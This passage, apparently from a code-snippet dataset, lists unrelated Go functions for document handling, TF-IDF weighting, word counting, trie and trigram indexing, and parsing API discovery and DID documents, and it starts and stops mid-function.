userDoc.Odd)\n\t\tfmt.Fprintln(buf)\n\t}\n\treturn buf.Bytes(), docs\n}", "func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\n\tweight = make(map[string]float64)\n\n\tvar termFreq map[string]int\n\n\tdocPos := f.docPos(doc)\n\tif docPos < 0 {\n\t\ttermFreq = f.termFreq(doc)\n\t} else {\n\t\ttermFreq = f.termFreqs[docPos]\n\t}\n\n\tdocTerms := 0\n\tfor _, freq := range termFreq {\n\t\tdocTerms += freq\n\t}\n\tfor term, freq := range termFreq {\n\t\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\n\t}\n\n\treturn weight\n}", "func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\n\terrors := make([]error, 0)\n\tx := &Document{}\n\tm, ok := compiler.UnpackMap(in)\n\tif !ok {\n\t\tmessage := fmt.Sprintf(\"has unexpected value: %+v (%T)\", in, in)\n\t\terrors = append(errors, compiler.NewError(context, message))\n\t} else {\n\t\trequiredKeys := []string{\"discoveryVersion\", \"kind\"}\n\t\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\n\t\tif len(missingKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"is missing required %s: %+v\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\tallowedKeys := []string{\"auth\", \"basePath\", \"baseUrl\", \"batchPath\", \"canonicalName\", \"description\", \"discoveryVersion\", \"documentationLink\", \"etag\", \"features\", \"fullyEncodeReservedExpansion\", \"icons\", \"id\", \"kind\", \"labels\", \"methods\", \"mtlsRootUrl\", \"name\", \"ownerDomain\", \"ownerName\", \"packagePath\", \"parameters\", \"protocol\", \"resources\", \"revision\", \"rootUrl\", \"schemas\", \"servicePath\", \"title\", \"version\", \"version_module\"}\n\t\tvar allowedPatterns []*regexp.Regexp\n\t\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\n\t\tif len(invalidKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"has invalid %s: %+v\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\t// string kind = 1;\n\t\tv1 := compiler.MapValueForKey(m, \"kind\")\n\t\tif v1 != nil {\n\t\t\tx.Kind, ok = compiler.StringForScalarNode(v1)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for kind: %s\", compiler.Display(v1))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string discovery_version = 2;\n\t\tv2 := compiler.MapValueForKey(m, \"discoveryVersion\")\n\t\tif v2 != nil {\n\t\t\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for discoveryVersion: %s\", compiler.Display(v2))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string id = 3;\n\t\tv3 := compiler.MapValueForKey(m, \"id\")\n\t\tif v3 != nil {\n\t\t\tx.Id, ok = compiler.StringForScalarNode(v3)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for id: %s\", compiler.Display(v3))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string name = 4;\n\t\tv4 := compiler.MapValueForKey(m, \"name\")\n\t\tif v4 != nil {\n\t\t\tx.Name, ok = compiler.StringForScalarNode(v4)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for name: %s\", compiler.Display(v4))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string version = 5;\n\t\tv5 := compiler.MapValueForKey(m, \"version\")\n\t\tif v5 != nil {\n\t\t\tx.Version, ok = compiler.StringForScalarNode(v5)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version: %s\", compiler.Display(v5))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string revision = 6;\n\t\tv6 := compiler.MapValueForKey(m, \"revision\")\n\t\tif v6 != nil {\n\t\t\tx.Revision, ok = compiler.StringForScalarNode(v6)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for revision: %s\", compiler.Display(v6))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string title = 7;\n\t\tv7 := compiler.MapValueForKey(m, \"title\")\n\t\tif v7 != nil {\n\t\t\tx.Title, ok = compiler.StringForScalarNode(v7)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for title: %s\", compiler.Display(v7))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string description = 8;\n\t\tv8 := compiler.MapValueForKey(m, \"description\")\n\t\tif v8 != nil {\n\t\t\tx.Description, ok = compiler.StringForScalarNode(v8)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for description: %s\", compiler.Display(v8))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Icons icons = 9;\n\t\tv9 := compiler.MapValueForKey(m, \"icons\")\n\t\tif v9 != nil {\n\t\t\tvar err error\n\t\t\tx.Icons, err = NewIcons(v9, compiler.NewContext(\"icons\", v9, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string documentation_link = 10;\n\t\tv10 := compiler.MapValueForKey(m, \"documentationLink\")\n\t\tif v10 != nil {\n\t\t\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for documentationLink: %s\", compiler.Display(v10))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// repeated string labels = 11;\n\t\tv11 := compiler.MapValueForKey(m, \"labels\")\n\t\tif v11 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v11)\n\t\t\tif ok {\n\t\t\t\tx.Labels = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for labels: %s\", compiler.Display(v11))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string protocol = 12;\n\t\tv12 := compiler.MapValueForKey(m, \"protocol\")\n\t\tif v12 != nil {\n\t\t\tx.Protocol, ok = compiler.StringForScalarNode(v12)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for protocol: %s\", compiler.Display(v12))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_url = 13;\n\t\tv13 := compiler.MapValueForKey(m, \"baseUrl\")\n\t\tif v13 != nil {\n\t\t\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for baseUrl: %s\", compiler.Display(v13))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_path = 14;\n\t\tv14 := compiler.MapValueForKey(m, \"basePath\")\n\t\tif v14 != nil {\n\t\t\tx.BasePath, ok = compiler.StringForScalarNode(v14)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for basePath: %s\", compiler.Display(v14))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string root_url = 15;\n\t\tv15 := compiler.MapValueForKey(m, \"rootUrl\")\n\t\tif v15 != nil {\n\t\t\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for rootUrl: %s\", compiler.Display(v15))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string service_path = 16;\n\t\tv16 := compiler.MapValueForKey(m, \"servicePath\")\n\t\tif v16 != nil {\n\t\t\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for servicePath: %s\", compiler.Display(v16))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string batch_path = 17;\n\t\tv17 := compiler.MapValueForKey(m, \"batchPath\")\n\t\tif v17 != nil {\n\t\t\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for batchPath: %s\", compiler.Display(v17))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Parameters parameters = 18;\n\t\tv18 := compiler.MapValueForKey(m, \"parameters\")\n\t\tif v18 != nil {\n\t\t\tvar err error\n\t\t\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\"parameters\", v18, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Auth auth = 19;\n\t\tv19 := compiler.MapValueForKey(m, \"auth\")\n\t\tif v19 != nil {\n\t\t\tvar err error\n\t\t\tx.Auth, err = NewAuth(v19, compiler.NewContext(\"auth\", v19, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// repeated string features = 20;\n\t\tv20 := compiler.MapValueForKey(m, \"features\")\n\t\tif v20 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v20)\n\t\t\tif ok {\n\t\t\t\tx.Features = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for features: %s\", compiler.Display(v20))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Schemas schemas = 21;\n\t\tv21 := compiler.MapValueForKey(m, \"schemas\")\n\t\tif v21 != nil {\n\t\t\tvar err error\n\t\t\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\"schemas\", v21, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Methods methods = 22;\n\t\tv22 := compiler.MapValueForKey(m, \"methods\")\n\t\tif v22 != nil {\n\t\t\tvar err error\n\t\t\tx.Methods, err = NewMethods(v22, compiler.NewContext(\"methods\", v22, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Resources resources = 23;\n\t\tv23 := compiler.MapValueForKey(m, \"resources\")\n\t\tif v23 != nil {\n\t\t\tvar err error\n\t\t\tx.Resources, err = NewResources(v23, compiler.NewContext(\"resources\", v23, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string etag = 24;\n\t\tv24 := compiler.MapValueForKey(m, \"etag\")\n\t\tif v24 != nil {\n\t\t\tx.Etag, ok = compiler.StringForScalarNode(v24)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for etag: %s\", compiler.Display(v24))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_domain = 25;\n\t\tv25 := compiler.MapValueForKey(m, \"ownerDomain\")\n\t\tif v25 != nil {\n\t\t\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerDomain: %s\", compiler.Display(v25))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_name = 26;\n\t\tv26 := compiler.MapValueForKey(m, \"ownerName\")\n\t\tif v26 != nil {\n\t\t\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerName: %s\", compiler.Display(v26))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool version_module = 27;\n\t\tv27 := compiler.MapValueForKey(m, \"version_module\")\n\t\tif v27 != nil {\n\t\t\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version_module: %s\", compiler.Display(v27))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string canonical_name = 28;\n\t\tv28 := compiler.MapValueForKey(m, \"canonicalName\")\n\t\tif v28 != nil {\n\t\t\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for canonicalName: %s\", compiler.Display(v28))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool fully_encode_reserved_expansion = 29;\n\t\tv29 := compiler.MapValueForKey(m, \"fullyEncodeReservedExpansion\")\n\t\tif v29 != nil {\n\t\t\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for fullyEncodeReservedExpansion: %s\", compiler.Display(v29))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string package_path = 30;\n\t\tv30 := compiler.MapValueForKey(m, \"packagePath\")\n\t\tif v30 != nil {\n\t\t\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for packagePath: %s\", compiler.Display(v30))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string mtls_root_url = 31;\n\t\tv31 := compiler.MapValueForKey(m, \"mtlsRootUrl\")\n\t\tif v31 != nil {\n\t\t\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for mtlsRootUrl: %s\", compiler.Display(v31))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t}\n\treturn x, compiler.NewErrorGroupOrNil(errors)\n}", "func NewDocument(record interface{}, readonly ...bool) *Document {\n\tswitch v := record.(type) {\n\tcase *Document:\n\t\treturn v\n\tcase reflect.Value:\n\t\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\n\tcase reflect.Type:\n\t\tpanic(\"rel: cannot use reflect.Type\")\n\tcase nil:\n\t\tpanic(\"rel: cannot be nil\")\n\tdefault:\n\t\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\n\t}\n}", "func NewDocument(url, site, title, content string) *Document {\n\tdoc := new(Document)\n\tdoc.DocID = uuid.NewV4().String()\n\tdoc.Url = url\n\tdoc.Site = site\n\tdoc.Title = title\n\tdoc.Content = content\n\n\treturn doc\n}", "func InitDocument(r io.Reader) *Document {\n\tdoc := new(Document)\n\tdoc.r = r\n\n\treturn doc\n}", "func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n if len(args) != 3 {\n return shim.Error(\"Incorrect number of arguments. Expecting 3\")\n }\n\n user_uid := args[0]\n uid := args[1]\n json_props := args[2]\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\n\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\n return shim.Error(\"Document already exists\")\n }\n\n user, err := t.loadUser(APIstub, user_key)\n if err != nil {\n return shim.Error(fmt.Sprintf(\"The %s user doesn't not exist\", user_uid))\n }\n user.Documents = append(user.Documents, uid)\n\n\n new_doc := new(Document)\n new_doc.Data = make(map[string]interface{})\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\n if err != nil {\n return shim.Error(\"Can't parse json props\")\n }\n\n new_doc_json, _ := json.Marshal(new_doc)\n APIstub.PutState(doc_key, new_doc_json)\n\n user_json, _ := json.Marshal(user)\n APIstub.PutState(user_key, user_json)\n\n return shim.Success(nil)\n}", "func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\n\treturn s.service.kv.Update(ctx, func(tx Tx) error {\n\t\t// Check that labels exist before creating the document.\n\t\t// Mapping creation would check for that, but cannot anticipate that until we\n\t\t// have a valid document ID.\n\t\tfor _, l := range d.Labels {\n\t\t\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr := s.service.createDocument(ctx, tx, s.namespace, d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor orgID := range d.Organizations {\n\t\t\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, l := range d.Labels {\n\t\t\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}", "func incrementUnigramWrd(dictionary map[string][]TagFrequency, word string, tag string) {\n\t// dictionary is the map used for unigram word count/frequency\n\t// it is a key->slice of TagFrequency objects\n\tif dictionary[word] != nil {\n\t\tfor i := 0; i < len(dictionary[word]); i++ {\n\t\t\tif tag == dictionary[word][i].tag {\n\t\t\t\tdictionary[word][i].freq++\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\n\t\treturn\n\t} else {\n\t\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\n\t\treturn\n\t}\n}", "func (d *docGenerator) generateDocs(api API) error {\n\tdir := api.Configuration().DocsDirectory\n\tif !strings.HasSuffix(dir, \"/\") {\n\t\tdir = dir + \"/\"\n\t}\n\n\tif err := d.mkdir(dir, os.FileMode(0777)); err != nil {\n\t\tapi.Configuration().Logger.Println(err)\n\t\treturn err\n\t}\n\n\thandlers := api.ResourceHandlers()\n\tdocs := map[string][]handlerDoc{}\n\tversions := versions(handlers)\n\n\tfor _, version := range versions {\n\t\tversionDocs := make([]handlerDoc, 0, len(handlers))\n\t\tfor _, handler := range handlers {\n\t\t\tdoc, err := d.generateHandlerDoc(handler, version, dir)\n\t\t\tif err != nil {\n\t\t\t\tapi.Configuration().Logger.Println(err)\n\t\t\t\treturn err\n\t\t\t} else if doc != nil {\n\t\t\t\tversionDocs = append(versionDocs, doc)\n\t\t\t}\n\t\t}\n\n\t\tdocs[version] = versionDocs\n\t}\n\n\tif err := d.generateIndexDocs(docs, versions, dir); err != nil {\n\t\tapi.Configuration().Logger.Println(err)\n\t\treturn err\n\t}\n\n\tapi.Configuration().Debugf(\"Documentation generated in %s\", dir)\n\treturn nil\n}", "func ParseDocument(data []byte) (*Doc, error) {\n\t// validate did document\n\tif err := validate(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := &rawDoc{}\n\n\terr := json.Unmarshal(data, &raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"JSON marshalling of did doc bytes bytes failed: %w\", err)\n\t}\n\n\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate public keys failed: %w\", err)\n\t}\n\n\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate authentications failed: %w\", err)\n\t}\n\n\tproofs, err := populateProofs(raw.Proof)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate proofs failed: %w\", err)\n\t}\n\n\treturn &Doc{Context: raw.Context,\n\t\tID: raw.ID,\n\t\tPublicKey: publicKeys,\n\t\tService: populateServices(raw.Service),\n\t\tAuthentication: authPKs,\n\t\tCreated: raw.Created,\n\t\tUpdated: raw.Updated,\n\t\tProof: proofs,\n\t}, nil\n}", "func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\n\tcreateDocument(uuid.New().String(), w, r)\n}", "func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}", "func getDocument(ktype string, kid string) (doc map[string]interface{}, handled bool, err error) {\n discoKey := fmt.Sprintf(\"%s:%s\", ktype, kid)\n \n if _, handled = discoDone[discoKey]; handled {\n return\n }\n\n res, err := http.Post(\n fmt.Sprintf(\"http://%s:%s/elasticsearch/_mget\", flagHost, strconv.Itoa(flagPort)),\n \"application/json\",\n bytes.NewBufferString(fmt.Sprintf(\"{\\\"docs\\\":[{\\\"_index\\\":\\\".kibana\\\",\\\"_type\\\":\\\"%s\\\",\\\"_id\\\":\\\"%s\\\"}]}\", ktype, kid)),\n )\n\n if err != nil {\n return\n }\n\n defer res.Body.Close()\n body, err := ioutil.ReadAll(res.Body)\n\n if err != nil {\n return\n }\n\n var data map[string]interface{}\n\n err = json.Unmarshal(body, &data)\n\n if err != nil {\n return\n }\n\n docpath := data[\"docs\"].([]interface{})[0].(map[string]interface{})\n \n if true != docpath[\"found\"].(bool) {\n err = errors.New(fmt.Sprintf(\"Failed to find %s %s\", ktype, kid))\n \n return\n }\n \n doc = docpath[\"_source\"].(map[string]interface{})\n \n discoDone[discoKey] = true\n\n return\n}", "func wordcountcomment(x geddit.Comment, words map[string]SubsWordData) {\n\t//prepare vars\n\tsubstrs := strings.Fields(x.Body)\n\ttmpdata := SubsWordData{}\n\ttmpUser := UserData{}\n\t//regex to remove trailing and leading punctuation\n\treg, err := regexp.Compile(`[^0-9a-zA-Z-]`)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t//log user information\n\ttmpUser, uexists := usermap[x.Author]\n\n\t//if no user exists\n\tif !uexists {\n\n\t\ttmpUser = UserData{\n\t\t\tUser: x.Author,\n\t\t\tWords: make(map[string]SubsWordData),\n\t\t}\n\n\t}\n\n\t//range through individual words\n\tfor _, word := range substrs {\n\t\t//remove anything but alphanumeric\n\t\tword = reg.ReplaceAllString(word, \"\")\n\t\t//get rid of words like \"I\"\n\t\tif len(word) > 1 {\n\t\t\t//determine if word is stopword\n\t\t\tif _, stopped := stopwords[word]; !stopped {\n\n\t\t\t\ttmpdata = SubsWordData{}\n\t\t\t\t_, ok := words[strings.ToLower(word)]\n\n\t\t\t\tif ok == true {\n\t\t\t\t\t//if that worddata exists in the map\n\t\t\t\t\ttmpdata = words[word]\n\n\t\t\t\t\ttmpdata.Avgscore = ((tmpdata.Avgscore * tmpdata.Numoccur) + x.UpVotes) / (tmpdata.Numoccur + 1)\n\t\t\t\t\ttmpdata.Numoccur += 1\n\t\t\t\t\ttmpdata.Heur += x.UpVotes\n\t\t\t\t\t// tmpdata.TimePassed =\n\n\t\t\t\t} else {\n\t\t\t\t\t//if no worddata exists\n\t\t\t\t\ttmpdata = SubsWordData{\n\t\t\t\t\t\tWord: strings.ToLower(word),\n\t\t\t\t\t\tNumoccur: 1,\n\t\t\t\t\t\tAvgscore: x.UpVotes,\n\t\t\t\t\t\tHeur: x.UpVotes,\n\t\t\t\t\t}\n\n\t\t\t\t} //endelse\n\n\t\t\t\t//add word to map\n\t\t\t\twords[word] = tmpdata\n\n\t\t\t\t//empty word data for user\n\t\t\t\ttmpword := SubsWordData{}\n\n\t\t\t\tif userword, wordexists := tmpUser.Words[word]; wordexists {\n\t\t\t\t\t//check if data exists for author, if so update\n\t\t\t\t\ttmpword.Avgscore = ((userword.Avgscore * userword.Numoccur) + x.UpVotes) / (userword.Numoccur + 1)\n\t\t\t\t\ttmpword.Numoccur += 1\n\t\t\t\t\ttmpword.Heur += x.UpVotes\n\n\t\t\t\t} else {\n\t\t\t\t\t//create the data for the word\n\t\t\t\t\ttmpword.Avgscore = x.UpVotes\n\t\t\t\t\ttmpword.Numoccur = 1\n\t\t\t\t\ttmpword.Heur = x.UpVotes\n\t\t\t\t}\n\n\t\t\t\t//update word in user's word map\n\t\t\t\ttmpUser.Words[word] = tmpword\n\t\t\t\t// fmt.Println(tmpword)\n\n\t\t\t}\n\t\t}\n\n\t}\n\t//update user in global usermap\n\ttmpUser.Subs = append(tmpUser.Subs, x.Subreddit)\n\tusermap[x.Author] = tmpUser\n\n}", "func addWord(words map[string]int) {\n\n\treader := r.NewReader(os.Stdin)\n\n\t// Get a kewyowrd\n\tf.Println(\"Give a word:\")\n\tf.Println(\"Warning, giving a prexisting word will update the value\")\n\ttext, err := reader.ReadString('\\n')\n\n\t// Hate this repetitious if err return\n\tif err != nil {\n\t\tf.Println(err)\n\t\treturn\n\t}\n\n\tkey := ss.Replace(text, \"\\n\", \"\", -1)\n\tf.Printf(\"[%q] recieved...\\n\", key)\n\n\t// Get a value\n\tval := getVal(words)\n\tif val == 0 {\n\t\treturn\n\t}\n\n\t// Maps are always passed by reference conveniently\n\twords[key] = val\n\n}", "func PutDoc(c *gin.Context) {\n\tvar doc Document\n\tstore := c.MustGet(\"store\").(*Store)\n\ttxn, have_txn := c.Get(\"NewRelicTransaction\")\n\tkey := c.Param(\"key\")\n\n\terr := c.ShouldBindJSON(&doc)\n\tif err != nil {\n\t\tif have_txn {\n\t\t\ttxn.(newrelic.Transaction).NoticeError(err)\n\t\t}\n\t\tc.JSON(http.StatusUnprocessableEntity, \"\")\n\t\treturn\n\t}\n\n\tstore.Set(key, doc)\n\tc.JSON(http.StatusNoContent, nil)\n}", "func applyID(doc document.Document, id string) document.Document {\n\t// apply id to document\n\tdoc[\"id\"] = id\n\n\treturn doc\n}", "func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\n\tsents := p.sentTokenizer.Segment(doc)\n\tretSents := make([]*basically.Sentence, 0, len(sents))\n\tretTokens := make([]*basically.Token, 0, len(sents)*15)\n\n\ttokCounter := 0\n\tfor idx, sent := range sents {\n\t\ttokens := p.wordTokenizer.Tokenize(sent.Text)\n\t\ttokens = p.tagger.Tag(tokens)\n\n\t\t// Convert struct from []*prose.Token to []*basically.Token.\n\t\tbtokens := make([]*basically.Token, 0, len(tokens))\n\t\tfor _, tok := range tokens {\n\t\t\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\n\t\t\tbtokens = append(btokens, &btok)\n\t\t\ttokCounter++\n\t\t}\n\n\t\t// Analyzes sentence sentiment.\n\t\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\n\n\t\tretSents = append(retSents, &basically.Sentence{\n\t\t\tRaw: sent.Text,\n\t\t\tTokens: btokens,\n\t\t\tSentiment: sentiment,\n\t\t\tBias: 1.0,\n\t\t\tOrder: idx,\n\t\t})\n\n\t\tretTokens = append(retTokens, btokens...)\n\t}\n\n\treturn retSents, retTokens, nil\n}", "func computeDoc(bpkg *build.Package) (*doc.Package, error) {\n\tfset := token.NewFileSet()\n\tfiles := make(map[string]*ast.File)\n\tfor _, file := range append(bpkg.GoFiles, bpkg.CgoFiles...) {\n\t\tf, err := parser.ParseFile(fset, filepath.Join(bpkg.Dir, file), nil, parser.ParseComments)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfiles[file] = f\n\t}\n\tapkg := &ast.Package{\n\t\tName: bpkg.Name,\n\t\tFiles: files,\n\t}\n\treturn doc.New(apkg, bpkg.ImportPath, 0), nil\n}", "func (this *WordDictionary) AddWord(word string) {\n\tp := &this.root\n\tfor i := 0; i < len(word); i++ {\n\t\tj := word[i] - 'a'\n\t\tif p.children[j] == nil {\n\t\t\tp.children[j] = new(trieNode)\n\t\t}\n\t\tp = p.children[j]\n\t}\n\tp.exist = true\n}", "func (t *TrigramIndex) Delete(doc string, docID int) {\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tif obj, exist := t.TrigramMap[tg]; exist {\n\t\t\tif freq, docExist := obj.Freq[docID]; docExist && freq > 1 {\n\t\t\t\tobj.Freq[docID] = obj.Freq[docID] - 1\n\t\t\t} else {\n\t\t\t\t//need remove trigram from such docID\n\t\t\t\tdelete(obj.Freq, docID)\n\t\t\t\tdelete(obj.DocIDs, docID)\n\t\t\t}\n\n\t\t\tif len(obj.DocIDs) == 0 {\n\t\t\t\t//this object become empty remove this.\n\t\t\t\tdelete(t.TrigramMap, tg)\n\t\t\t\t//TODO check if some doc id has no tg remove\n\t\t\t} else {\n\t\t\t\t//update back since there still other doc id exist\n\t\t\t\tt.TrigramMap[tg] = obj\n\t\t\t}\n\t\t} else {\n\t\t\t//trigram not exist in map, leave\n\t\t\treturn\n\t\t}\n\t}\n}", "func writeDocumentInfoDict(ctx *Context) error {\n\n\tlog.Write.Printf(\"*** writeDocumentInfoDict begin: offset=%d ***\\n\", ctx.Write.Offset)\n\n\t// Note: The document info object is optional but pdfcpu ensures one.\n\n\tif ctx.Info == nil {\n\t\tlog.Write.Printf(\"writeDocumentInfoObject end: No info object present, offset=%d\\n\", ctx.Write.Offset)\n\t\treturn nil\n\t}\n\n\tlog.Write.Printf(\"writeDocumentInfoObject: %s\\n\", *ctx.Info)\n\n\to := *ctx.Info\n\n\td, err := ctx.DereferenceDict(o)\n\tif err != 